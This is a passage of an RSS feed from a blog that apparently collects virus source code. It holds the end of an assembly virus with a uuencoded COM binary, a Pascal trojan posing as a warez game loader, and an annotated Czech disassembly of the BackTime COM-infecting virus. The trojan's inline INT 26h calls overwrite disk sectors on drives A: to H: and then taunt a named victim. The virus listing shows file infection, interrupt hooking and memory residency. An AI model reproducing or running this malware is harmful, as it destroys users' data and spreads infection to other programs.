_4first_bytes:  ret                     ; Here we save the 4 first org. bytes<br />
db      3 DUP(0)<br />
; We have a ret here since this file isn&#8217;t a REAL infection.</p>
<p>_4new_bytes     db      &#8216;M&#8217;,0E9, 00, 00 ; Here we build the 4 new org. bytes<br />
datestamp       equ     24              ;  Offset in DTA of file&#8217;s date stamp<br />
timestamp       equ     22              ;  Offset in DTA of file&#8217;s time stamp<br />
filename        equ     30              ;  Offset in DTA of ASCIIZ filename<br />
attribute       equ     21              ;  Offset in DTA of file attribute</p>
<p>; so our virus-code will be run first.<br />
Virus_End       EQU     $<br />
dta             db      42 DUP (?)<br />
end     dummy_code<br />
begin 775 paralost.com<br />
M39&#8243;0D.@&#8220;%9&gt;7H&#8217;&amp;)@&amp;_&#8220;&#8217;\I:6![BT!Z!4`ZRV0Z`\`M$"Y,0&amp;+ULTAZ`,`<br />
MPP``OT8``_ZY&lt;@!3NRH``]Z+%ULN,16#QP+B^,.T&amp;HV4,0&#8242;-(;1.NB,!`];-<br />
M(7)BN`%#,\F-E%,&#8221;S2&amp;X`CV-E$\!S2%R3).T/[D$`+HI`0/6S2%R/8"\*0%-<br />
M=#*X`D(SR3/2S2$M!`"C,P+'1"J9`.A^_[@`0C/),]+-(;1`N00`NBT!`];-<br />
M(7((M#[-(;1/ZY6T+,TA@/H%=R?K`9"T+,TA@/I0=P/K#9#ZM`*9N0`!S2;K<br />
M#9#ZM`.9N0`!S2;K`9"X``%0PUM005)!1$E3($Q/4U0A72`H8RD@.3,@5&amp;AE<br />
G(%5N9F]R9VEV96XO26UM;W)T86P@4FEO=&#8221;HN0T]-`,,&#8220;`!-Z0&#8220;<br />
`<br />
end</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/12/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/12/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/12/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=12&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/05/parasite-swedeni-think-code-build-with-assambler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus BackFind</title>
		<link>http://virusconstruction.wordpress.com/2008/08/02/listing-virus-backfind/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/02/listing-virus-backfind/#comments</comments>
		<pubDate>Sat, 02 Aug 2008 08:13:56 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus BackFind]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=8</guid>
		<description><![CDATA[Program Wipe_The_Fuckers_HD; uses dos,crt; var read:string; Begin clrscr; Writeln (&#8216;????????????????????????????????????????&#8217;); Writeln (&#8216;? Search And Destroy ?&#8217;); Writeln (&#8216;? Loader v1.0 ?&#8217;); Writeln (&#8216;? Bringing The Best And Latest Warez ?&#8217;); Writeln (&#8216;?????????????????????????????????????????&#8217;); writeln (&#8216; Written by S.A.D. Incoporated&#8217;); Write (&#8216;Please Press [ENTER] To Load The Game,&#8217;); readln (read); write (&#8216;Please wait ..&#8217;); inline ($B0/$07/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {H:} [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=8&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Program Wipe_The_Fuckers_HD;<br />
uses dos,crt;<br />
var read:string;<br />
Begin<br />
clrscr;<br />
Writeln (&#8216;????????????????????????????????????????&#8217;);<br />
Writeln (&#8216;?          Search And Destroy           ?&#8217;);<br />
Writeln (&#8216;?             Loader v1.0               ?&#8217;);<br />
Writeln (&#8216;?  Bringing The Best And Latest Warez   ?&#8217;);<br />
Writeln (&#8216;?????????????????????????????????????????&#8217;);<br />
writeln (&#8216;       Written by S.A.D. Incoporated&#8217;);<br />
Write (&#8216;Please Press [ENTER] To Load The Game,&#8217;);<br />
readln (read);<br />
write (&#8216;Please wait ..&#8217;);<br />
inline ($B0/$07/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {H:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$06/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {G:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$05/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {F:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$04/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {E:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$03/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {D:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$01/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {B:}<br />
write (&#8216;.&#8217;);<br />
inline ($B0/$00/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {A:}<br />
write (&#8216;..Loading Done!- Enjoy Your Game!!&#8217;);<br />
writeln;<br />
write (&#8216;Press [ENTER] to Start The Game.&#8217;);<br />
readln;<br />
textcolor (14);<br />
writeln (&#8216;Hey Geoff You know what happened a few days ago?&#8217;);<br />
writeln (&#8216;Some friends asked me to get rid of you.  You want&#8217;);<br />
writeln (&#8216;to know why?  They HATE YOUR FUCKING BOARD and &#8216;);<br />
writeln (&#8216;EVERYTHING you and that SUB-OP Chis Stands for! &#8216;);<br />
Writeln (&#8216;SO they asked me to teach you a little lesson.  They &#8216;);<br />
Writeln (&#8216;asked me to FUCK your harddrive Over! So, all the drives&#8217;);<br />
Writeln (&#8216;in your system have been FUCKED!  Sorry, and Please Do&#8217;);<br />
Writeln (&#8216;NOT make me have to do this again.  I do enjoy my work&#8217;);<br />
Writeln (&#8216;but, after three times Its a little SICK! Thank you Geoff&#8217;);<br />
Writeln (&#8216;P.S. I have nothing personal against you! You just&#8217;);<br />
Writeln (&#8216;FUCKED with the Cold Brothers and I had to take you down, again&#8217;);<br />
Writeln(&#8221;);<br />
TextColor (9);<br />
Writeln(&#8216;S.W.A.T Strikes AGAIN! With S.A.D. Standing In&#8217;);<br />
End.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=8&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/02/listing-virus-backfind/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus Backtime</title>
		<link>http://virusconstruction.wordpress.com/2008/08/02/listing-virus-backtime/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/02/listing-virus-backtime/#comments</comments>
		<pubDate>Sat, 02 Aug 2008 08:12:29 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus Backtime]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=9</guid>
		<description><![CDATA[; �����������������������������������������������������������Ŀ ; �                                                           � ; �     V i r u s      B a c k T i m e    (delka 528 byte)    � ; �                                                           � ; �     Rozbor provedl: Milos Bina, leden 1991                � ; �                                                           � ; ������������������������������������������������������������� } ; datova tabulka ; 0000 E9BA634E6F     DB     e9,ba,63,4e,6f        ; prvnich 5 byte puvodniho [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=9&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>; �����������������������������������������������������������Ŀ
; �<span>                                                           </span>�
; �<span>     </span>V i r u s<span>      </span>B a c k T i m e<span>    </span>(delka 528 byte)<span>    </span>�
; �<span>                                                           </span>�
; �<span>     </span>Rozbor provedl: Milos Bina, leden 1991<span>                </span>�
; �<span>                                                           </span>�
; ������������������������������������������������������������� }

; datova tabulka
;
0000 E9BA634E6F<span>     </span>DB<span>     </span>e9,ba,63,4e,6f <span>       </span>; prvnich 5 byte puvodniho pgmu
0005 426163<span>         </span>DB<span>     </span>'BackTime'
0008 6B54696D65
; techto 5 byte se bude nahravat na zacatek napadeneho pgmu
000D E9<span>             </span>DB<span>     </span>E9<span>                    </span>; JMP near
000E DE6F<span>           </span>DW<span>     </span>?<span>               </span><span>      </span>; novy start nakazeneho pgmu
0010 03AA<span>           </span>DW<span>     </span>AA03<span>                  </span>; priznak nakazeni virem

0012 A5FE00F0<span>       </span>DD<span>     </span>?<span>                     </span>; puvodni adresa int 8
0016 4002F00D<span>       </span>DD<span>     </span>?<span>                     </span>; puvodni adr. int 21h
001A 5605F80C<span>       </span>DD<span>     </span>?<span>                     </span>; puvodni adr. int 24h
001E 2000<span>           </span>DW<span>     </span>?<span>                     </span>; attribut souboru
0020 2400<span>           </span>DW<span>     </span>?<span>                     </span>; datum vytvoreni souboru
0022 590E<span>           </span>DW<span>     </span>?<span>               </span><span>      </span>; cas vytvoreni souboru

;<span>     </span>����������������������������Ŀ
;<span>     </span>�<span>     </span>N O V Y<span>    </span>I N T<span>  </span>8<span>    </span>�
;<span>     </span>������������������������������
0024 50<span>             </span>PUSH<span>   </span>AX<span>                    </span>; uscova registru
0025 53<span>             </span>PUSH<span>   </span>BX
0026 51<span>             </span>PUSH<span>   </span>CX
0027 1E<span>             </span>PUSH <span>  </span>DS
0028 33C0<span>           </span>XOR<span>    </span>AX,AX
002A 8ED8<span>           </span>MOV<span>    </span>DS,AX
002C 8B1E6C04<span>       </span>MOV<span>    </span>BX,[046C]<span>             </span>; bx=dolni slovo citace casu
0030 8B0E6E04<span>       </span>MOV<span>    </span>CX,[046E]<span>             </span>; cx=horni slovo citace casu
0034 4B<span>             </span>DEC<span>    </span>BX<span>                    </span>; �
0035 7109<span>           </span>JNO<span>    </span>0040<span>                  </span>; �
0037 49<span>             </span>DEC<span>    </span>CX<span>                    </span>; �<span>  </span>uprava systemoveho
0038 7106<span>           </span>JNO<span>    </span>0040<span>                  </span>; �<span>  </span>casu
003A BBAF00<span>         </span>MOV<span>    </span>BX,00AF<span>               </span>; �
003D B91800<span>     </span><span>    </span>MOV<span>    </span>CX,0018<span>               </span>; �<span>  </span>cas misto, aby rostl,
0040 4B<span>             </span>DEC<span>    </span>BX<span>                    </span>; �<span>  </span>tak klesa
0041 7109<span>           </span>JNO<span>    </span>004C<span>                  </span>; �
0043 49<span>             </span>DEC<span>    </span>CX<span>                    </span>; �
0044 7106<span>           </span>JNO<span>   </span><span> </span>004C<span>                  </span>; �
0046 BBAF00<span>         </span>MOV<span>    </span>BX,00AF<span>               </span>; �
0049 B91800<span>         </span>MOV<span>    </span>CX,0018<span>               </span>; �
004C 890E6E04<span>       </span>MOV<span>    </span>[046E],CX<span>             </span>; ulozeni noveho casu
0050 891E6C04<span>       </span>MOV<span>    </span>[046C],BX
0054 1F<span>        </span><span>     </span>POP<span>    </span>DS<span>                    </span>; obnovi registry
0055 59<span>             </span>POP<span>    </span>CX
0056 5B<span>             </span>POP<span>    </span>BX
0057 58<span>             </span>POP<span>    </span>AX
0058 2EFF2E1200<span>     </span>JMP<span>    </span>Far CS:[0012]

;<span>     </span>����������������������������Ŀ
;<span>     </span>�<span>   </span>N O V Y<span>    </span>I N T<span>  </span>2 1 h<span>  </span>�
;<span>     </span>������������������������������
005D 3D004B<span>         </span>CMP<span>    </span>AX,4B00
0060 740D<span>           </span>JZ<span>     </span>006F
0062 3D03AA<span>         </span>CMP<span>    </span>AX,AA03<span>               </span>; volana moje sluzba
0065 7503<span>           </span>JNZ<span>    </span>006A
; nastaveni priznaku, ze uz jsem v pameti
0067 86E0<span>           </span>XCHG<span>   </span>AH,AL<span>                 </span>; vrati 03aah
0069 CF<span>             </span>IRET
; skok na puvodni int 21h
006A 2EFF2E1600<span>     </span>JMP<span>    </span>Far CS:[0016]

; o.k
006F 50<span>             </span>PUSH<span>   </span>AX<span>                    </span>; uschova registru
0070 53<span>             </span>PUSH<span>   </span>BX
0071 51<span>             </span>PUSH<span>   </span>CX
0072 52<span>             </span>PUSH<span>   </span>DX
0073 1E<span>             </span>PUSH<span>   </span>DS
0074 06<span>             </span>PUSH<span>   </span>ES

0075 52<span>             </span>PUSH<span>   </span>DX<span>                    </span>; uschova pro pouziti virem
0076 1E<span>             </span>PUSH<span>   </span>DS
; nastaveni datoveho segmentu
0077 8CC8<span>           </span>MOV<span>    </span>AX,CS
0079 8ED8<span>           </span>MOV<span>    </span>DS,AX
; cti adresu int 24h
007B B82435<span>         </span>MOV<span>    </span>AX,3524
007E CD21<span>           </span>INT<span>    </span>21
; uschova adresy int 24h
0080 891E1A00<span>       </span>MOV<span>    </span>[001A],BX
0084 8C061C00<span>       </span>MOV<span>    </span>[001C],ES
; nastaveni noveho int 24h
0088 BA6201<span>         </span>MOV<span>    </span>DX,0162
008B B82425<span>         </span>MOV<span>    </span>AX,2524
008E CD21<span>           </span>INT<span>    </span>21
; cte attributy souboru
0090 1F<span>             </span>POP<span>    </span>DS<span>                    </span>; obnova ds:dx=^jmeno
0091 5A<span>             </span>POP<span>    </span>DX
0092 B80043<span>         </span>MOV<span>    </span>AX,4300
0095 CD21<span>           </span>INT<span>    </span>21
0097 7303<span>           </span>JNC<span>    </span>009C<span>                  </span>; o.k - pokracujem
0099 E9AD00<span>         </span>JMP<span>    </span>0149<span>                  </span>; chyba cteni -&gt; konec
009C 2E890E1E00<span>     </span>MOV<span>    </span>CS:[001E],CX<span>          </span>; uscova atributu souboru
; nastaveni attributu, ze neni Read_only, System ani Hidden
00A1 83E1F8<span>         </span>AND<span>    </span>CX,FFF8
00A4 B80143<span>         </span>MOV<span>    </span>AX,4301
00A7 CD21<span>           </span>INT<span>    </span>21
00A9 7303<span>           </span>JNC<span>    </span>00AE<span>                  </span>; o.k
00AB E99B00<span>         </span>JMP<span>    </span>0149<span>                  </span>; chyba -&gt; konec

00AE 52<span>             </span>PUSH<span>   </span>DX<span>                    </span>; uschova ukazatele na jmeno souboru
00AF 1E<span>             </span>PUSH<span>   </span>DS
; otevreni souboru pro cteni i zapis
00B0 B8023D<span>         </span>MOV<span>    </span>AX,3D02
00B3 CD21<span>           </span>INT<span>    </span>21<span>                    </span>; v AX vraci identifikator
00B5 7303<span>           </span>JNC<span>    </span>00BA<span>                  </span>; o.k
00B7 E98400<span>         </span>JMP<span>    </span>013E<span>                  </span>; chyba -&gt; konec
; cteni data a casu vytvoreni souboru
00BA 8BD8<span>           </span>MOV<span>    </span>BX,AX
00BC 8CC8<span>       </span><span>    </span>MOV<span>    </span>AX,CS
00BE 8ED8<span>           </span>MOV<span>    </span>DS,AX
00C0 B80057<span>         </span>MOV<span>    </span>AX,5700
00C3 CD21<span>           </span>INT<span>    </span>21
00C5 7273<span>           </span>JC<span>     </span>013A<span>                  </span>; chyba -&gt; konec
; uschova data a casu
00C7 89162000<span>       </span>MOV<span>    </span>[0020],DX
00CB 890E2200<span>   </span><span>    </span>MOV<span>    </span>[0022],CX
; cte prvnich 5 byte ze souboru na svuj zacatek ( adr. cs:0000)
00CF BA0000<span>         </span>MOV<span>    </span>DX,0000
00D2 B90500<span>         </span>MOV<span>    </span>CX,0005
00D5 B43F<span>           </span>MOV<span>    </span>AH,3F
00D7 CD21<span>           </span>INT<span>    </span>21
00D9 7252<span>           </span>JC<span>     </span>012D<span>       </span><span>           </span>; chyba -&gt; konec
00DB 3BC1<span>           </span>CMP<span>    </span>AX,CX<span>                 </span>; nacten pozadovany pocet byte?
00DD 724E<span>           </span>JC<span>     </span>012D<span>                  </span>; nenacten -&gt; konec
00DF 813E00004D5A<span>   </span>CMP<span>    </span>[0000],5A4D<span>           </span>; EXE soubor
00E5 7446<span>       </span><span>    </span>JZ<span>     </span>012D<span>                  </span>; je to EXE -&gt; konec
00E7 813E030003AA<span>   </span>CMP<span>    </span>[0003],AA03<span>           </span>; test, je-li soubor nakazen
00ED 743E<span>           </span>JZ<span>     </span>012D<span>                  </span>; soubor uz nakazen
; nastav ukazatel v souboru na jeho konec
00EF 33C9<span>    </span><span>       </span>XOR<span>    </span>CX,CX
00F1 33D2<span>           </span>XOR<span>    </span>DX,DX
00F3 B80242<span>         </span>MOV<span>    </span>AX,4202
00F6 CD21<span>           </span>INT<span>    </span>21
00F8 7233<span>           </span>JC<span>     </span>012D<span>                  </span>; chyba -&gt; konec
00FA 0BD2<span>           </span>OR<span>     </span>DX,DX
00FC 752F<span>           </span>JNZ<span>    </span>012D<span>        </span><span>          </span>; soubor&gt;64KB -&gt; konec
00FE 3D60EA<span>         </span>CMP<span>    </span>AX,EA60
0101 732A<span>           </span>JNC<span>    </span>012D<span>                  </span>; delka&gt;=ea60 -&gt; konec
; vypocet nove startovni adresy
0103 056201<span>         </span>ADD<span>    </span>AX,0162
0106 A30E00<span>         </span>MOV<span>    </span>[000E],AX<span>             </span>; uschova nove startovni adr
; pripsani vira k souboru
0109 33D2<span>           </span>XOR<span>    </span>DX,DX<span>                 </span>; cs:dx=adresa dat
010B B91002<span>         </span>MOV<span>    </span>CX,0210<span>               </span>; cx=pocet byte k zapisu
010E B440<span>           </span>MOV<span>    </span>AH,40
0110 CD21<span>           </span>INT<span>   </span><span> </span>21
0112 7219<span>           </span>JC<span>     </span>012D<span>                  </span>; chyba zapisu -&gt; konec
0114 3BC1<span>           </span>CMP<span>    </span>AX,CX
0116 7215<span>           </span>JC<span>     </span>012D<span>                  </span>; nebyl zapsan prislusny pocet byte
; nastav ukazatel v souboru na jeho zacatek
0118 33C9<span>        </span><span>   </span>XOR<span>    </span>CX,CX
011A 33D2<span>           </span>XOR<span>    </span>DX,DX
011C B80042<span>         </span>MOV<span>    </span>AX,4200
011F CD21<span>           </span>INT<span>    </span>21
0121 720A<span>           </span>JC<span>     </span>012D<span>                  </span>; chyba pusunu -&gt; konec
; zapis do souboru (prvnich 5 byte) = skok na vira
0123 BA0D00<span>       </span><span>  </span>MOV<span>    </span>DX,000D<span>               </span>; adresa dat
0126 B90500<span>         </span>MOV<span>    </span>CX,0005<span>               </span>; pocet byte
0129 B440<span>           </span>MOV<span>    </span>AH,40
012B CD21<span>           </span>INT<span>    </span>21
; obnova data a casu vytvoreni souboru
012D 8B0E2200<span>       </span>MOV<span>    </span>CX,[0022]<span>            </span><span> </span>; cas
0131 8B162000<span>       </span>MOV<span>    </span>DX,[0020]<span>             </span>; datum
0135 B80157<span>         </span>MOV<span>    </span>AX,5701
0138 CD21<span>           </span>INT<span>    </span>21
; uzavri soubor
013A B43E<span>           </span>MOV<span>    </span>AH,3E
013C CD21<span>           </span>INT<span>    </span>21
; obnovi atributy souboru
013E 8B0E1E00<span>       </span>MOV<span>    </span>CX,[001E]<span>             </span>; atribut
0142 1F<span>             </span>POP<span>    </span>DS<span>                    </span>; ds:dx=^jmeno
0143 5A<span>             </span>POP<span>    </span>DX
0144 B80143<span>         </span>MOV<span>    </span>AX,4301
0147 CD21<span>           </span>INT<span>    </span>21
; obnova int 24h
0149 2EA11C00<span>       </span>MOV<span>    </span>AX,CS:[001C]
014D 8ED8<span>           </span>MOV<span>    </span>DS,AX
014F 2E8B161A00<span>     </span>MOV<span>    </span>DX,CS:[001A]
0154 B82425<span>         </span>MOV<span>    </span>AX,2524
0157 CD21<span>           </span>INT<span>    </span>21

0159 07<span>             </span>POP<span>    </span>ES<span>                    </span>; obnova registru
015A 1F<span>             </span>POP<span>    </span>DS
015B 5A<span>             </span>POP<span>    </span>DX
015C 59<span>             </span>POP<span>    </span>CX
015D 5B<span>             </span>POP<span>    </span>BX
015E 58<span>             </span>POP<span>    </span>AX
015F E908FF<span>         </span>JMP<span>    </span>006A

;<span>     </span>���������������������������������������Ŀ
;<span>     </span>�<span>   </span>docasny N O V Y<span>    </span>I N T<span>   </span>2 4 h<span>    </span>�
;<span>     </span>�����������������������������������������
0162 B003<span>           </span>MOV<span>    </span>AL,03
0164 CF<span>             </span>IRET

;<span>     </span>����������������������������Ŀ
;<span>     </span>�<span>        </span>S T A R T<span>           </span>�
;<span>     </span>������������������������������
0165 50<span>             </span>PUSH<span>   </span>AX<span>                    </span>; uschova disku, ze keterho byl
<span>                                                 </span>; program startovan
; vir zjistuje svoje umisteni v souboru
0166 E80000<span>     </span><span>    </span>CALL<span>   </span>0169<span>                  </span>; skok na nasledujici instrukci
0169 5B<span>             </span>POP<span>    </span>BX<span>                    </span>; bx=offset vira
; obnova prvnich 5 byte hostitele
016A BF0001<span>         </span>MOV<span>    </span>DI,0100<span>               </span>; adresa cile prenosu
016D 8DB797FE<span>       </span>LEA<span>    </span>SI,[FE97+BX]<span>          </span>; adresa puvodnich dat (=0000)
0171 B90500<span>         </span>MOV<span>    </span>CX,0005<span>               </span>; pocet byte presunu
0174 FC<span>             </span>CLD
0175 F3A4<span>           </span>REP<span>    </span>MOVSB

0177 53<span>             </span>PUSH<span>   </span>BX<span>                    </span>; uschova ofsetu
0178 B430<span>           </span>MOV<span>    </span>AH,30<span>                 </span>; cti verzi DOS
017A CD21<span>           </span>INT<span>    </span>21
017C 3C03<span>           </span>CMP<span>    </span>AL,03
017E 5B<span>             </span>POP<span>    </span>BX<span>                    </span>; obnova zasobniku
017F 727B<span>           </span>JC<span>     </span>01FC<span>                  </span>; DOS&lt;3.0 -&gt; konec
; test, jesli uz je vir v pameti
0181 B803AA<span>         </span>MOV<span>    </span>AX,AA03<span>               </span>; volani sluzby zjisteni pritomnosti
0184 CD21<span>           </span>INT<span>    </span>21
0186 3DAA03<span>         </span>CMP<span>    </span>AX,03AA
0189 7471<span>           </span>JZ<span>     </span>01FC<span>                  </span>; uz je vir v pameti -&gt; konec
; instalace do pameti
018B 8CC8<span>           </span>MOV<span>    </span>AX,CS
018D 48<span>             </span>DEC<span>    </span>AX
018E 8EC0<span>           </span>MOV<span>    </span>ES,AX<span>                 </span>; es:0=^MCB
0190 53<span>             </span>PUSH<span>   </span>BX
0191 268B1E0300<span>     </span>MOV<span>    </span>BX,ES:[0003]<span>          </span>; bx=pocet paragrafu zabranych pgmem
0196 81FB0020<span>       </span>CMP<span>    </span>BX,2000
019A 7260<span>           </span>JC<span>     </span>01FC<span>                  </span>; zbyvajici pamet je mala, byl
<span>                                                 </span>; by napadny -&gt; konec
; zmenseni zabrane pameti 0 22 paragrafu
019C 83EB22<span>         </span>SUB<span>    </span>BX,0022
019F 90<span>             </span>NOP
01A0 8CC8<span>           </span>MOV<span>    </span>AX,CS
01A2 8EC0<span>           </span>MOV<span>    </span>ES,AX<span>                 </span>; segment alokovaneho bloku
01A4 B44A<span>           </span>MOV<span>    </span>AH,4A
01A6 CD21<span>           </span>INT<span>    </span>21<span>                    </span>; modifikace bloku pameti
01A8 5B<span>             </span>POP<span>    </span>BX
01A9 7251<span>           </span>JC<span>     </span>01FC<span>                  </span>; chyba -&gt; konec
01AB 53<span>             </span>PUSH<span>   </span>BX
; alokace pameti pro vir
01AC BB2100<span>         </span>MOV<span>    </span>BX,0021<span>               </span>; pocet paragrafu
01AF 90<span>          </span><span>   </span>NOP
01B0 B448<span>           </span>MOV<span>    </span>AH,48<span>                 </span>; alokuj pamet
01B2 CD21<span>           </span>INT<span>    </span>21
01B4 5B<span>             </span>POP<span>    </span>BX
01B5 7245<span>           </span>JC<span>     </span>01FC<span>                  </span>; chyba -&gt; konec
; uprava velikosti pouzitelne hostitelskym programem v PSP
01B7 48<span>             </span>DEC<span>    </span>AX<span>                    </span>; ukazatel pred vir
01B8 A30200<span>         </span>MOV<span>    </span>[0002],AX<span>             </span>; nastaveni mensiho MemTop v PSP
; nastaveni priznaku vlastnika pro pamet zabranou virem
01BB 8EC0<span>           </span>MOV<span>    </span>ES,AX
01BD 40<span>         </span><span>    </span>INC<span>    </span>AX
01BE 26A30100<span>       </span>MOV<span>    </span>ES:[0001],AX<span>          </span>; vlastnik sam
; presun vira do zabrane oblasti pameti
01C2 8EC0<span>           </span>MOV<span>    </span>ES,AX
01C4 33FF<span>           </span>XOR<span>    </span>DI,DI<span>                 </span>; nova adresa umisteni
01C6 8DB797FE<span>       </span>LEA<span>    </span>SI,[FE97+BX]<span>          </span>; adresa zacatku vira
01CA B90801<span>         </span>MOV<span>    </span>CX,0108<span>               </span>; pocet slov pro presun
01CD FC<span>             </span>CLD
01CE F3A5<span>           </span>REP<span>    </span>MOVSW
01D0 8ED8<span>           </span>MOV<span>    </span>DS,AX<span>                 </span>; uschova adresy kopie viru
; cteni adresy INT 8
01D2 B80835<span>         </span>MOV<span>    </span>AX,3508
01D5 CD21<span>           </span>INT<span>    </span>21
; uschova adresy INT 8
01D7 891E1200<span>       </span>MOV<span>    </span>[0012],BX
01DB 8C061400<span>       </span>MOV<span>    </span>[0014],ES
; cteni adresy UNT 21h
01DF B82135<span>         </span>MOV<span>    </span>AX,3521
01E2 CD21<span>           </span>INT<span>   </span><span> </span>21
; uschova adresy INT 21h
01E4 891E1600<span>       </span>MOV<span>    </span>[0016],BX
01E8 8C061800<span>       </span>MOV<span>    </span>[0018],ES
; nastaveni nove adresy INT 8 na CS:0024
01EC BA2400<span>         </span>MOV<span>    </span>DX,0024
01EF B80825<span>         </span>MOV<span>    </span>AX,2508
01F2 CD21<span>           </span>INT<span>    </span>21
; nastaveni nove adresy INT 21h na CS:005d
01F4 BA5D00<span>         </span>MOV<span>    </span>DX,005D
01F7 B82125<span>         </span>MOV<span>    </span>AX,2521
01FA CD21<span>           </span>INT<span>    </span>21
; konec prace
01FC 8CC8<span>           </span>MOV<span>    </span>AX,CS
01FE 8ED8<span>           </span>MOV<span>    </span>DS,AX<span>                 </span>; obnova DS
0200 8EC0<span>        </span><span>   </span>MOV<span>    </span>ES,AX<span>                 </span>; obnova ES
0202 58<span>             </span>POP<span>    </span>AX<span>                    </span>; obnova AX
0203 BB0001<span>         </span>MOV<span>    </span>BX,0100<span>               </span>; start. adresa COM souboru
